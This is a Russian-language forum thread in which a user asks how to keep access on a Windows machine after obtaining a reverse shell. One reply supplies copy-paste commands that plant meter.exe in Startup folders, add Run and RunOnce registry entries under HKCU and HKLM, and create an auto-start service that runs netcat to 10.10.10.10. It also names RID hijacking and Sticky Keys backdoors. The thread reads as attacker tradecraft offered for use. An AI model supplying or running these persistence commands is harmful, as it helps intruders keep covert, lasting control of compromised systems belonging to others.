Закрепление в системе Windows

[sergeyalexeev1979]

Подскажите актуальные методы закрепления в системе на винде после получения доступа по реверс шеллу к cmd

 

[valeraleontev]

Папка автозагрузки:

# Выполнять при входе конкретного пользователя
    # В проводник
        copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

    # Через реестр
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"
    
# Выполнить при входе в систему любого пользователя
    # Проводник
        copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
        
    # Реестр
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"

Службы:

sc.exe create Tservice binPath= "nc.exe 10.10.10.10 123" start= auto
sc.exe start Tservice

Run / RUNonce (текущий пользователь):

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

Run / Runonce (любой пользователь):

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

Дополнительно гугли RID Hijacking, Utilman, Sticky Keys. Да и просто Windows Persistence (https://www.ired.team/offensive-security/persistence)

 

[HostBost]

hxxp://go.kaspersky.com/ru-ransomware-report.html раздел persistence
плюс здесь из исходников можешь взять https://github.com/last-byte/PersistenceSniper